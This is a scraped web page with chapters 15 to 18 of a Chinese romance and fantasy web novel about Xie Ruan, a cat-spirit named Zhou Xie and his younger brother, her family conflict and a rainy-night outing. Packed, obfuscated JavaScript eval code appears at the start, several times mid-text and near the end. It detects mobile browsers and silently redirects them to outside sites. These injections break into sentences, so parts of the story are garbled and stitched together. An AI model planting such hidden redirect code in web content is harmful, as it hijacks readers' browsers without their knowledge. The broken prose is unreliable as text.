;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582757|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低,语气冷冷的,听着不大高兴。 被点名的周夏时蹬腿踹了两脚空气,低下头不敢看周邂,过了一会儿才支吾道:“二、二哥。” 谢阮一怔,目光在两人之间来来回回地打转。 周夏时朝她伸手,可怜巴巴地喊:“阿阮姐姐~” 四个字千回百转,如泣如诉,小猫似的戳人心肝。 谢阮拿他没辙,一把拍开周邂的手,将周夏时解救出来。 三人进了屋,周夏时寸步不离谢阮,周邂捏了捏眉心,坐到他们对面。 “怎么跑这儿来了?”周邂冷着脸问。 周夏时仰头看了一眼谢阮。 谢阮拍拍他,“不怕,你说。” 她把人捡回来就去了钦江,是梁桢调查过这孩子的来历,才同意他暂住谢阮家。 横竖万华府没什么秘密,又有张姨看顾,人是谢阮捡的,安排到别处也不合适。 谢阮对他了解不深,也有点好奇。 她听梁桢提过一点,只当周夏时是周家远亲,没想到他会和晋渊周家扯上关系。 更没想到周邂的“周”,也是晋渊周家的“周”。 周夏时见搪塞不过去,只好老实交代。 原来,他是趁着周家搬回黎津的空当悄悄溜出来的。 “我比家里先到黎津。”周夏时觑了一眼周邂的脸色,小声说,“我是来找二哥玩的。” 没想到周邂人不在,道观也人去楼空。 周夏时刚准备下山就遇到了大雨,他在破败的道观里避了一阵,雨却迟迟没有要停的意思。 雨水漫进道观,十只猫里有九只半不爱沾水,周夏时在山顶呆不住,只好从观中翻找出一柄落了灰的油纸伞,拔腿往山下跑。 可惜伞在半道上被风一刮,折了一半落进深山,周夏时浑身湿透也才走到半山腰。 所幸半山腰的谢家祠堂还算安好,周夏时在那里遇见了谢阮。 彼时周邂在回黎津的路上,后来途经钦江县,跟着谢阮进入了赵舒昕的魂场,根本不知道弟弟去了黎津。 能化形的小猫生存能力不弱,而且周家养孩子向来散养,周邂额角抽了抽,怀疑父母还没有意识到周夏时失踪。 “小骗子。”谢阮揉揉周夏时的脑袋,“我以为你是山上的小道童呢,下次别这样了,家里会担心的。” 周夏时抱住她胳膊讨好地蹭了蹭,瓮声瓮气道:“我知道了,阿阮姐姐。” 谢阮嗯了一声,完全没发现他别过脸冲周邂做了个鬼脸。 周邂:“......” “谢小姐,这段时间谢谢你收留夏时。”他懒得搭理周夏时,只同谢阮道谢。 眼下周家搬得差不多了,只剩周夏时的学籍还未尘埃落定,他还是先把人送回去,省得腻在眼前烦心。 周夏时有些不舍。 谢阮于是提议,“不如先让夏夏留下,等转学手续办完再回?” 说后半句话时,她目光落在周邂脸上,周夏时和她一起目不转睛地盯着哥哥看。 一大一小,眼睛亮亮的,隐隐有几分期待。 显得他俩才是猫似的,周邂失笑,“那就麻烦你了。” 15. 《同居》 黎津入夏后,夜晚来得更迟,家政阿姨上门时,道路两侧的感应灯尚未亮起。 “张姨做的菜合你胃口吗?”谢阮问周夏时。 她把人领回家后便被陈仪催着赶往钦江救场,路上才想起来,应该给周夏时请个阿姨。 谢阮信不过老宅的人,梁桢于是把张姨送了过来。 周夏时点点头,说:“好吃的!” 装乖,周邂轻嗤一声,移开眼。 周夏时不服气,趁人不注意偷偷做了个鬼脸,随后被谢阮按头转回去,笑着捏了捏他的脸。 周家两兄弟看似不对盘,但谢阮看得出来两人关系亲近,周夏时其实很依赖这位二哥。 不像她和谢如远,同父异母,表面和睦,实则势同水火,早晚会撕破脸。 谢阮暗自叹了口气。 情绪蓦地有些低落,她没有发现前方一缕目光落在自己身上。 周邂轻眯起眼,若有所思。 哔—— 未能成形的猜测被开门声打断,周夏时蹦蹦跳跳跑向玄关,甜甜地喊:“张奶奶好!” “哎,夏夏晚上好!”张姨换好鞋,弯腰摸摸他的发顶。 “张姨。”谢阮跟在周夏时身后,同她打了个照面,“晚上好,最近一段时间辛苦了。” 张姨一怔,似乎没想到谢阮在家。 对方有一阵子没来梁家做客,张姨望向面前眉眼凌厉的人,忽然觉得有点陌生。 过了一会儿她才摆摆手,“不辛苦不辛苦,小谢什么时候回来的?” “下午刚到。”谢阮侧身请她进门,“好久没见张姨了。” “哎,不妨事,你和桢桢工作都忙,一年到头也没个假。”张姨拍拍她的胳膊,“有空到裴家坐坐,我给你们做好吃的。” 谢阮点头应下,陪她朝厨房走。 路过客厅时余光里晃过一道人影,张姨转头,看见一个男人。 她愣了两秒,又扭头看谢阮,目光转了一圈最终看向手边的周夏时,“他,你,你们......” “张奶奶,那是我二哥。”周夏时小声介绍。 张姨哦了一声,“原来是夏夏哥哥,我先去做饭。” 说完,她拎起围裙快步走进厨房。 谢阮不知怎地,从张姨背影中品出几分赧然,她下意识回头看了一眼,正撞见一双深邃的眸子。 “周师兄。”谢阮朝他招手,“我带你看一下房间。” 客卧在二楼北侧,与谢阮的卧室隔了一间书房。 她推开门,朝屋内随手一点,“你先看看怎么样,如果布置上有什么需要也可以改。” 这间客卧布局和主卧相似,小浴室、衣帽间一应俱全。三面落地窗,透光性很好,而且窗边铺着浅灰色的毛绒地毯,很适合小猫打滚。 虽然不是真猫,但假扮小猫久了,总有些相近的习性。 周邂压下挠地毯的天性,神色如常,“挺好的,谢谢。” “周师兄客气。”谢阮玩笑似的说,“所幸你没说不好。” 周邂低笑,“不好要怎么办?” “那就只能搬到江滨公馆,请周师兄住有花园的大别墅了。”谢阮眼底漾出些许笑意,她立在房门前,朝周邂伸手,“合作愉快。” 周邂关上房门,抬手轻轻握住,“合作愉快。” 谢阮的指骨纤细修长,指腹柔软,温感同她的人设相似,冷冷的像浸了霜。 周邂手比她还要大一圈,谢阮碰到他的掌心,心口蓦地一颤,仿佛有什么东西顺着指尖漫进了心里。 脑海中隐约浮现出几帧昏暗画面,她认出那是赵舒昕的魂场,却没想通周邂与此有何关联。 “阿阮姐姐!吃饭了!” 楼下传来周夏时的声音,谢阮回神,收回手,绕开周邂走了。 手中骤然落空,周邂轻捻指尖,很轻地勾了一下唇角。 - 一楼餐厅,周夏时正蹲在椅子上啃鸡翅,后颈冷不丁被人捏住。 “小没良心的,就知道喊你阿阮姐姐吃晚饭,那你二哥呢?” “你又不似听不见!”周夏时含糊道,“二哥随便!” 闻言,谢阮笑容一滞,偏头扫了眼客厅。 “怎么了?”张姨不明所以,顺着她的视线看过去,只见周夏时面前叠满了鸡翅骨,大半张脸上都是暗褐色的酱汁。 谢阮眉间掠过几分不自然,“没事。” 她总不能说是因为那声姐姐。 好在张姨没有多想,笑眯眯道:“夏夏来了之后,家里热闹多了。” “我不常在家,夏夏还得劳您多费心。”谢阮看见周邂抽出几张纸巾拍在周夏时脸上,没忍住笑了笑。 她把提前封好的红包递给张姨,按住对方拒绝的手,“我和阿桢关系好,自然不和您见外,这个是夏夏家里的一点心意,算是感谢您这段时间对夏夏的照顾。” 不过,周夏时那位二哥瞧着不像是知情的样子,张姨心里清楚红包究竟是谁给的,看向谢阮的眼神因此越发怜惜。 “记得常来裴家玩。”张姨不便推拒,拍拍她的手,示意谢阮留步。 谢阮家没什么规矩,不像老宅,非得等人到齐才能开饭。 谢阮送走张姨回到客厅,周夏时已经吃了个半饱,捧着肚子窝在小沙发里中场休息。 周邂拿着周夏时的洗脸毛巾,皱眉给他擦脸。 空寂的公寓忽然鲜活起来。 晚饭后,周家兄弟二人主动承担起洗碗的重任,谢阮乐得清闲,回房洗完澡,歇了片刻又进了琴房。 琴声顺着门缝淌出来,音色泠泠,周邂耳尖微动,隐约听出几分低落。 周夏时也听出来,凑到他旁边问:“二哥,阿阮姐姐心情不好么?” 好像不止,周邂垂着眼,没有接话。 - 落地窗外,夏夜悄然而至,道路两旁的感应灯悉数亮起,照出一片人声鼎沸、车马喧嚣。 周邂收拾完脏兮兮的周夏时,把人团巴团巴塞进被窝,“早点睡,明天带你去新学校办转学手续。” 周夏时充耳不闻,他毕竟是一只没成年的小猫,精力旺盛,根本睡不着。 小猫倔强地冲破被子的包围,偷偷在枕头下摸了摸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男生语气透着狡黠,仿佛他们真的背着周夏时达成了什么见不得人的交易。 他直接坐在地毯上,身位矮了谢阮许多,苍绿色的眼睛自下而上专注地望向谢阮。 柔和光线在周邂眸中晕开,比翡翠更深沉的色泽沉淀在眼底,如同遥远星系散落成一汪星河。 谢阮心头微动,怔了几秒微微别过脸,打开了周夏时的游戏机。 屏幕上战绩惨不忍睹,简易版俄罗斯方块在小朋友毫无章法的操作下,堆叠到屏幕最顶部。 周邂不知道只能玩俄罗斯方块和推箱子的游戏机有什么地方值得周夏时珍藏。 正如他丝毫没有察觉,当他看见谢阮唇边无意识弯起的一抹浅笑时,自己也跟着弯了弯眼睛。 今夜月朗星稀,大片月光穿过玻璃倾洒进琴房,混入模糊昏黄的落地灯下,从黑白琴键的一边铺向另一边,虚拢在谢阮肩上。 她趴在琴边,把卡了周夏时整整一个礼拜的小游戏打到通关,bonus的电子提示音响起时,谢阮才发现时间已经很晚了。 周邂没走,一直安静地倚着钢琴腿陪她,“心情好点了吗?” 说着,他缓缓起身。久坐之后脚踝有点酸麻,周邂顺手扶住钢琴,手指不小心碰到琴键,敲出了几个零散的音符。 谢阮仰起头,神情有一瞬的茫然。 还没反应过来周邂是怎么看出来的,便又听他问:“没有什么想问我的吗?” 16. 好怪 有关魂场的来龙去脉,方季遂早在赵舒昕的魂场内便悉数告知,谢阮没什么想问的。 原来她在车上提起黑猫并不是试探,周邂垂眼看了她片刻,弯唇,“晚安。” 谢阮点点头,“晚安。” 回房不久,外面下起小雨,夜半时雨势转大,哔哔剥剥砸在落地窗上,搅得人在梦里也不得安生。 谢阮又看见了那道熟悉的背影。 在长禄山脚的谢家老宅,在院中的玻璃花房,在朦胧的雨雾尽头。 故地旧景充斥着草木与玫瑰的清香,玫瑰却不再是父亲爱重母亲的象征,而是对背叛爱情和婚姻的讽刺。 谢阮从未在梦中看清过她的脸,但每每阮栀榆入梦,都伴随着滂沱的雨。 琴声悠悠,穿透密雨落入耳中,那场困住谢阮的雨,落在阮栀榆被送往疗养院的前一天。 少年谢阮没能送她一程,此后七八年的梦,也再没有见过她的面容。 跑,快跑啊—— 谢阮透过上帝视角,看见年幼的自己抱着伞在老宅内奔跑。 长廊蜿蜒,女孩浑身湿透,被玻璃花房拦住了去路。白玫瑰拔地而起,宛如高塔周围竖起的棘刺。 面前仍是一片迷雾。 母亲的背影渐渐逸散在雾后。 大雨落到清早五点才停,黎津却没有放晴。 天空灰败寂寥,阴翳的云压下来,空气里多出几分沉闷与压抑。 谢阮做了一夜梦,几乎没怎么睡。 睁眼时还不到七点,她摸了摸有些湿润的枕头,估摸着眼睛可能肿了。 谢阮起身洗了把脸,打算下楼倒杯水回来。 刚打开门就瞥见一道人影晃过去,走路悄无声息,穿一身黑,像某种大型猫科动物。 谢阮眯了眯眼,想起新助理住在自己隔壁的隔壁。 “周师兄?” “早。”周邂停在楼梯口,偏过脸,“不再睡会儿吗?” 昨晚离开琴房快十二点,按照方季遂交代的作息,谢阮没有工作的时候至少要躺到十点以后。 谢阮慢吞吞地摇头,“现在睡不着,你呢?要出门吗?” 周邂嗯了一声,“我出去转一圈,顺路买些早点回来,你想吃什么?” “豆浆,要甜的。”谢阮没跟他客气。 这个点确实不是她起床的点,谢阮不怎么饿,但听周邂提起早餐,白水忽然变得寡淡起来。 两人边聊边朝楼下走。 路过客厅时,周邂脚步没停,径直走到玄关边,而谢阮迷迷糊糊跟在他身后,完全忘了自己下楼的初衷。 她无所事事地倚着鞋柜,低头看周邂换鞋,不到一分钟的工夫已经打了三四个哈欠。 周邂低笑,“困就上楼再睡会儿?” 谢阮耷着眼,含糊应下,不知道听进去没有。 “走了。”周邂捏着门禁卡在她眼前晃了晃,低沉的嗓音里混合着一丝若有似无的笑意,哄小孩儿似的。 谢阮摆摆手,示意他快去快回。 大门一开一合,四下归于悄寂。 谢阮在门口站了一会儿,直到困得脑袋一点一点才忽然回过神。 她刚才在做什么? 谢阮揉揉脸,感觉自己像闻到猫薄荷的猫,周邂正是那株猫薄荷。 好怪,她捏了捏眉心,视线从玄关逡巡至楼梯边,最终归咎于昨晚没睡好,于是趿着拖鞋又往二楼走。 而她身后,隐隐有一缕淡青色的虚影盘踞在左侧肩胛骨的位置,四散的青芒犹如丝线,依依不舍地伸向大门的方向,恰似挽留。 谢阮一无所觉。 再次睁眼已经日上三竿,床头柜上的手机嗡嗡响个不停。 谢阮按亮屏幕,淡声问:“什么事?” “你还记得今天是什么日子吗?”电话那头传来一声冷哼。 谢阮权当没听见,她翻了一下提醒事项,发现今天是老宅一月一次的团圆饭。 真是晦气,谢阮拧眉,明知故问,“什么日子?谢如远死了,等不及要出殡了?” 话音刚落,谢延旻果然气急,斥道:“谢阮!他是你哥哥!” “我妈可生不出这种蠢货。”谢阮轻嗤,“回去之后,我不希望再听到类似的话。” 说完不等谢延旻发作,她先挂了电话。 反正谢家留着自己还有别的用处,谢延旻也不能拿她怎么样,谢阮轻轻叹了一口气,握着手机坐在床边发呆。 过了好一会儿她才缓过来,收拾妥当下了楼。 楼下没人,一楼客卧敞着,周夏时不在,谢阮转了一圈,想起周邂今天要带周夏时去学校办转学手续。 谢阮走进餐厅,看见桌上摆着一杯豆浆,旁边还有一个牛皮纸袋,是三元楼的方糕。 夏天豆浆没那么容易冷,她咬着吸管喝了一口,温乎乎的,有效缓解了胃里的烧灼感。 谢阮拿方糕时才发现便签,上面的字遒劲飘逸,很好辨认。 【卖豆浆的大爷说隔壁有家铺子方糕蒸得好,带一块给你尝尝,别光喝豆浆】 想不到周师兄当助理还挺有天分,谢阮咬了两口方糕,软糯的糕点甜而不腻,细嚼有股浅浅的桂花香。 个人习惯所致,她难得吃完一顿完整的早饭。收拾好餐桌后,谢阮回到桌边,拿起笔在周邂的字下面补了一行—— 【午饭不用等,有事出去,回来给你们带好吃的】 十一点整,谢阮提着车钥匙走进电梯。 她停在万华府的车都不贵,下楼时随手挑了一串车钥匙,按了几遍才在常开的G65后面找到那辆保时捷。 万华府地处黎津市中心,从公寓开到近郊约莫一小时的路程。 而且谢宅虽然修建在长禄山脚,但半山腰下统称山脚,从平直的大路开到谢宅门前,还要行过一段坡路,经由长禄山的另一面绕到宅院的东偏门。 很麻烦,但据说这样的风水走势有利于家业兴旺。 谢阮开上山路时想起这套说辞,眼底掠过几分不屑。 谢延旻当初求娶阮栀榆还合过八字,听家里的老人说,阮栀榆应该是个长寿安泰的命,可她在谢阮八岁那年就病逝了。 估计是谢延旻把旺夫换了种说法,毕竟联姻后,谢家在黎津商界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢延旻:“你!” “谢董,做人不能太贪心。”谢阮面无表情,垂在身侧的手却捏紧了,唯恐泄露出心底的慌乱。 她能平安活到现在,一半靠早亡的母亲,一半全凭运气。 就像那天在赵舒昕的魂场里拆那瓶红酒,赌赢了便活,赌输了,她要拖着不该活的人一起下地狱。 对上谢延旻也是一场赌局,谢阮凝视着这张令人生厌的面孔,忽而勾唇,撂下一句语焉不详的警告—— “谢家需要我活着,你可千万别逼我。” 闻言,谢延旻一愣,还没来得及弄清谢阮是如何知道那件事,书房门便被大力拉开又砰地甩上。 阮栀榆去世后,谢家就不再是她的家,团圆饭本来也没有她的位置,谢阮迎着主屋一众异样的目光朝正门走去。 离开老宅时,阴沉沉的天空中飘下小雨。 天际远远压着一片浓云,俨然山雨欲来。 17. “阿邂” 黎津市得有五六年没下过这么大的雨了,猎猎劲风吹卷起树叶,乌云迅速在天空中铺开,白昼顷刻间沦为黑夜。 周邂坐在车里等周夏时,他分神看了眼窗外,心底涌起一阵不安。 “我天!好大的雨!”周夏时远远跑来,手脚并用地爬上车。 车门关上的瞬间,大雨倾盆而至。 “和张姨说过了吗?”周邂捏捏眉心,打开雨刮器,“这雨一时半会儿停不了,午饭我们先买回去,晚饭再说。” 周夏时点点头,他晃了晃手腕上的儿童手表,示意自己已经打过电话。 车身宽大的越野拐出校门,缓缓汇入车流,轮毂蹚过积水,在泥浆里留下一道痕辙。 一点左右,兄弟二人重新回到万华府。 周邂刷开家门,发现谢阮的拖鞋四仰八叉地横在玄关处。 “怎、怎么了?”周夏时怀里抱着一个巨大的炸鸡桶,被他哥堵在门口。 “你阿阮姐姐不在家。”周邂把门禁卡放在鞋柜上,往旁边挪了半个身位,从弟弟手里接过午饭。 周夏时立马踢掉鞋子,蹬蹬蹬在屋子里转了两圈,确认没找到谢阮后,有些沮丧地蹲坐在餐桌旁。他趴在桌上食不知味地啃完半只鸡,打算拆一瓶饮料。无奈手上沾满了油,他只好伸手去够对面座位上摆着的餐巾纸盒。 塑料盒被他拉扯纸巾的力度顺带拖拽着移动了一小段距离,底部露出了一张小纸条。 周夏时觉得眼熟,他伸着脑袋瞄了眼,好像是他哥早上出门前写的留言条。 “方、方糕,方糕?!”周夏时胡乱地擦了擦手,抓起纸条找到正在阳台里打电话的周邂,气势汹汹拍在他哥身上,“小气鬼,三元楼的方糕,买都买了,你怎么不多买一块!” 周邂举着手机,弯腰接住向下飘落的留言条。 不知道为什么,他的心头始终萦绕着一缕不安,尤其回来后发现谢阮不在,这股不安更加明显,但纸条上后附的留言确实清楚地交代了她的去向。 周邂怔了几秒,把纸条扔给周夏时,大步向门口走去。 “欸,你心虚了!”周夏时攥着小纸条追过来,见周邂蹲在门口换鞋,又缩着脖子问,“下这么大雨,你干嘛去啊?” “接你阿阮姐姐回家。”周邂匆匆关上门,背影略显仓促。 猫的直觉和人的第六感相似,谢阮的电话一直没有打通,唯一一张门禁卡正揣在周邂裤兜里。 男生站在电梯一侧,抬眼盯着显示板上的红色数字一格一格变小。 他熟门熟路找到停车位,刚拉开驾驶座的车门,便被不远处拐过来的一辆轿跑前灯晃了眼。 银灰色的车身擦着他经过,驾驶位缓缓降下车窗。 “雨很大,你要出门吗?”谢阮抬手将额前散落的碎发捋到耳后,侧头看着他,眼眶微微泛红。 错乱的心跳落入原本的轨道,周邂摇摇头,他关上越野的车门,绕到谢阮那辆轿跑的另一侧,打开副驾坐了上去。 车子转了一圈在背面的车位停下。 男生嗓音微哑:“打你电话一直没人接,有点担心,想出来看看。” “关机了。”谢阮手搭在方向盘上,手指无意识地摩挲着皮质内饰的纹理,手机被她随意扔在中控置物槽内,屏幕漆黑。 她抬头从后视镜看了眼周邂,副驾上的男生眉眼低垂,耷拉着肩膀。 谢阮不太恰当地想起被抛弃的萨摩耶,她把手机拿过来,按下开机键:“我给你们留了小纸条。” “我没看见,而且你只有一张门禁卡。”周邂微微侧过身,视线落在她脸侧,猫的视力瞬间捕捉到脸颊突兀的红肿,“脸怎么了?” 谢阮顺着他的目光抬手碰了碰右脸,针刺般的痛感令她收紧牙关。 “门禁卡我其实用不上,保安认识我,顶多也就是麻烦你下来给我刷个电梯。”谢阮解释道,她发现自己没来由地信任周邂,几乎是触及那抹苍绿的瞬间,周身便被久违的心安包裹住。冰冷的外壳裂开一条缝隙,令她陡然间产生了倾诉欲,“我、我也没什么事,刚才回了趟老宅,和谢延旻,就是我父亲,我们吵了一架。” “他打你了。”周邂的声音有些沉,谢阮难得敏锐地感觉到他心情不好。 停车场的光线极其有限,周邂半边身子都隐在阴影里。车子早早熄了火,车灯全灭,谢阮分辨不出他的表情,却能想象出那双苍绿色如同翡翠般的眼睛,幽黑深邃,望不到底。 她沉默片刻,嗯了一声。 周邂叹了口气:“走吧,先上楼,夏时也很担心你。” - 电梯门向两侧打开,周邂走在谢阮前面,一眼就看见家里门户大敞,周夏时正坐在门前,捧着他不知道哪里来的新游戏机。 是的,和昨晚被没收的黑色外壳游戏机完全不一样,现在这个是芭比粉。 周邂只觉得额角突突猛跳两下:“你坐在这儿干什么?” 周夏时条件反射地把游戏机塞到屁股底下,站起身嘿嘿笑了笑:“等你接阿阮姐姐回来。” 他扒着门框踮起脚朝周邂身后看,果然看见谢阮笑眯眯地向他招手。 “阿阮姐姐!”周夏时原地加速咻一下冲过来,“我给你留了三个炸鸡腿!” 谢阮没什么胃口,脸侧也隐隐作痛,她不太希望周夏时看到自己脸上的伤,但又不好意思拒绝小朋友的善意,所幸周邂察觉到了她的窘迫。他单手拦住周夏时,小屁孩蹬着腿整个人一阵天旋地转头朝下地被他二哥夹在腋下扔回了房间。 “你阿阮姐姐有点累,别去打扰她,自己玩会儿。”周邂无视弟弟惊恐的目光,甚至贴心地帮他把游戏调回初始设置,“晚点把另一个游戏机还你。” 回到客厅时,谢阮已经换了身居家的休闲服,腿上搭着条毯子窝在沙发里。 周邂从厨房冰箱冷冻层里翻出一个冰袋,转了两圈拿着周夏时没用过的印花小毛巾,径直走到她身侧坐下。 “你知道钦江县那件案子吗?”谢阮抬眼看他,“被杀害的女生把何二那家公司的地下项目证据全都发给了我。” “我知道。”周邂举着冰袋轻轻贴在她脸侧,嗓音低沉,有种莫名的安全感,“枉死的魂灵沉冤昭雪,你做得很好。” “能上功德簿吗?”她忽然问。 周邂把冰袋换了个面,点点头夸道:“大功一件。” 他故意将尾调拖得很长,像幼儿园老师为了哄挑食的小朋友好好吃饭一样,温柔又耐心。 谢阮嘶了声,红肿的巴掌印泛起细细密密的痒疼,眼角洇出几滴泪,“可是谢延旻知道了这件事,认为我得罪了何家,打算送我去联姻。” 周邂敛眸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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久而久之,方季遂就习惯了喊他师兄。 冰袋化开有些凉,谢阮伸舌抵住腮帮轻轻往外推了推,含糊不清地问:“那你也能看见游魂吗?” “能,不过有时间限制。”周邂给毛巾换了个面,“人死后魂归地府,等生死簿上一笔勾销才能入轮回,那些游荡在人间的亡魂多半是受到某种束缚才滞留在此,但也不是青天白日便能看见的。” 魂场自成一个小世界,生魂自然也能看见亡魂,而回归现实世界,即使是会通灵之术的方士,也得等到子夜交替。除了七月半鬼门大开,亡魂返往人间托梦以慰亲眷的日子,基本只有每天傍晚日暮至第二天清晨日月轮转的区间内,阴气会变得格外浓郁。 “还疼得厉害吗?”周邂挪开冰袋,指尖碰了碰冰凉的侧脸。 谢阮摇摇头:“已经好多了,谢谢周师兄。” 周邂失笑:“我算你哪门子的师兄?” 谢阮捧着脸答不上来,她转过身,侧对着周邂,发丝随着她的动作蹭过周邂下颌,两人之间的距离一下缩短了许多。 周邂低头瞥见她头顶的发旋,不着痕迹地向另一侧拉开。 “我也不知道怎么称呼你合适,所以才跟着方季遂喊。”谢阮面露苦恼,只以为他们搞玄学的有一套不能为外人知的规矩,唯恐喊错,触犯了什么律令。 周邂默不作声,仍旧尽职尽责地裹着冰袋替她消肿,苍绿色的眼睛里却难掩兴味盎然,坏心眼地看着谢阮纠结。 “要不喊你阿邂吧。” 18. 雨夜 称师兄不合规矩,称先生又假正经,再者,周邂比她小一点,称兄道弟也不合适。 谢阮苦思冥想,忽然想到梁桢,便脱口而出“阿邂”。 话音刚落,她自己倒是先愣了愣。 似乎太亲密了,谢阮别过脸,没好意思看周邂的表情,余光却不自觉地朝一旁瞄去。 周邂没错过她脸上一闪而过的窘迫,低笑,“都行。” “那你也不用总那么客气。”谢阮自己拿着冰袋,“叫我名字就好。” 虽然以往应酬交际,“谢小姐”已司空见惯,但赵舒昕的魂场到底给她留下了一点阴影,每每听到“谢小姐”总感觉管家还在门外,那柄板斧还藏在视野盲区。 谢阮眯了眯眼,偏头看向窗外。 外面黑沉沉的,衬得白天如同黑夜,乌云伴随着大雨模糊了视线,雨幕化作瀑布冲刷着落地窗的玻璃,稍远一些的大楼已经看不清了。 周邂循着她的目光望过去,“今天估计会下一整天的雨,下午打算做什么?” “暴雨天啊——”谢阮起身,“适合睡觉。” 说完,她抬脚朝二楼走。 身旁骤然一空,周邂偏身看她的背影,忽然有些困。连日奔波积累的疲惫一股脑儿涌上来,他捏了捏眉心,也回了房间。 再睁眼时窗外一片漆黑,周邂摸到枕边的手机,发现自己睡过了饭点。 不知道周夏时和谢阮吃了没,他捋了一把乱糟糟的头发,慢吞吞地下了楼。 一楼很安静,周夏时正坐在茶几边拼乐高。 听见脚步声时他扭头看了一眼楼梯,然后扬手指指厨房,小声说:“阿阮姐姐给你留了饭。” “她呢?”周邂问。 周夏时冲阳台的方向努努嘴,“在那儿接电话。” 推拉门还算隔音,但架不住某些小动物天赋异禀,周邂移开眼,谢阮的声音仍旧远远飘进耳朵里。 谢阮说“不去”。 周邂脚步一顿,听出几分犹豫,紧接着又听她说“太吵了”。 “这会儿好点了吗?”方季遂换了个安静的角落,“今晚不是别的场子,西临路Chaotic,包安全的。” Chaotic是方季遂朋友开的酒吧,主要面向黎津市的二代圈子开放,消费水平比一般的娱乐场所更高。相应地,酒吧安保和私密性都不错,那帮人傻钱多的富二代们经常会带明星朋友过去玩。 梁桢每次出差回来都要约谢阮去Chaotic喝一杯,美其名曰可以用方季遂的贵宾卡打折。按照惯例,方季遂约了她肯定也约了梁桢,毕竟姐弟两个喝起来一个比一个上头,送人回家的重任自然落在谢阮肩上。 谢阮有一段时间没见过裴桢了,她问:“阿桢也在吗?” “在的在的,我姐马上到。” 谢阮摸摸消肿的右脸,握着手机有些动摇。 方季遂劝她,“而且今晚有Apocrypha的演出!他们的贝斯手,就是你上次说长得好看的那个,刚才在后台遇见了,那小子跟我打听你来不来。” 他嗓门很大,谢阮皱眉把手机挪远了一点,方季遂的声音像开了外放似的飘出去。 客厅里,周邂耳尖微动,听得更加认真。 他大马金刀地岔着腿坐在最靠近阳台的沙发边,眉尾压低,神色严肃,周身隐隐萦绕着一股凉气。 对面的周夏时:“?”怎么个事?搭积木还有监工的? 他挠挠头,百思不得其解,最终囫囵收拾了材料,抱起盒子回客卧继续。 周邂甚至没发现客厅少了个人,他全部的注意力都在那通电话上。 谢阮快被方季遂说动了,问:“还下雨吗?” “一点点,这会儿雨不大,开车来没问题的。”方季遂一拍脑袋想起什么,“对了,师兄不是也在你家吗?你俩一起来,这样更安全。” 说完不等谢阮答应,他就挂了电话。 谢阮:“......” 她低头盯着手机屏幕愣了几秒。随后凑到窗边,脸贴着玻璃向下张望,小区路灯光线明亮,虽然依旧蒙着一层薄薄的雾气,但雨势比起下午的确转小了很多。 出去玩的心蠢蠢欲动。 单她自己倒是无所谓,就是不知道为什么,雨夜邀请周邂一起去酒吧总有种带坏好学生的既视感。 谢阮抠了抠手机壳顶部的小猫浮雕,有些纠结。 一门之隔,猫警惕地支棱起耳朵,丝毫不为偷听她打电话而感到羞愧。 怪只怪血脉里敏锐的听力天赋。 周邂屈指蹭了蹭鼻尖,整个人后仰倚靠在沙发边,手搁在膝头,手指有一下没一下地叩着膝盖。 不多时,阳台门被人推开。 面前投下一道阴影,谢阮伸手在他脸前晃了晃,问:“方季遂喊我们出去玩,走吗?” 闻言,周邂仰头看了一眼她的侧脸,冰敷很有效,已经看不出明显的痕迹了。 他站起身,明知故问,“去哪儿?” “西临路上的一家酒吧,他朋友开的。”谢阮从茶几下面的柜子里翻出一根充电线接上手机,“梁桢也在,你应该认识。” 周邂不置可否,当初就是梁桢把哭丧着脸的方季遂一脚蹬进了山门,他跟在二叔身后远远见过一面。 二人达成共识,各自回房换了身衣服,谢阮匆匆拔下发烫的手机,扯着卫衣帽子,站在玄关门前问周邂,“周夏时呢?” 周夏时本人正趴在房门上偷听,周邂刚才进来还了之前收走的游戏机,又顺手给他打了一笔数额不小的零花钱。 无事献殷勤,非奸即盗,原来是要出去蹦迪。 周邂察觉到门后的视线,伸手替谢阮把帽子翻正,“他和朋友约了晚点一起打游戏,现在在睡觉。” 谢阮哦了一声。 两人走进停车场,谢阮自觉跟着周邂找他那辆越野。 车还停在老地方,周邂按了几下车钥匙,没想到车门纹丝不动。 谢阮伸头一瞧,“哎,你拿错钥匙了。” 鞋柜上有好几把车钥匙,刚好谢阮也有一辆同款不同色的越野,周邂稍不留神就拿混了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630147|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所幸谢阮的车位离得不远,五分钟后,一辆纯白色大G驶出小区。 万华府前有一段长约六百米的辅路,开出这段辅路后才是市区的主路。 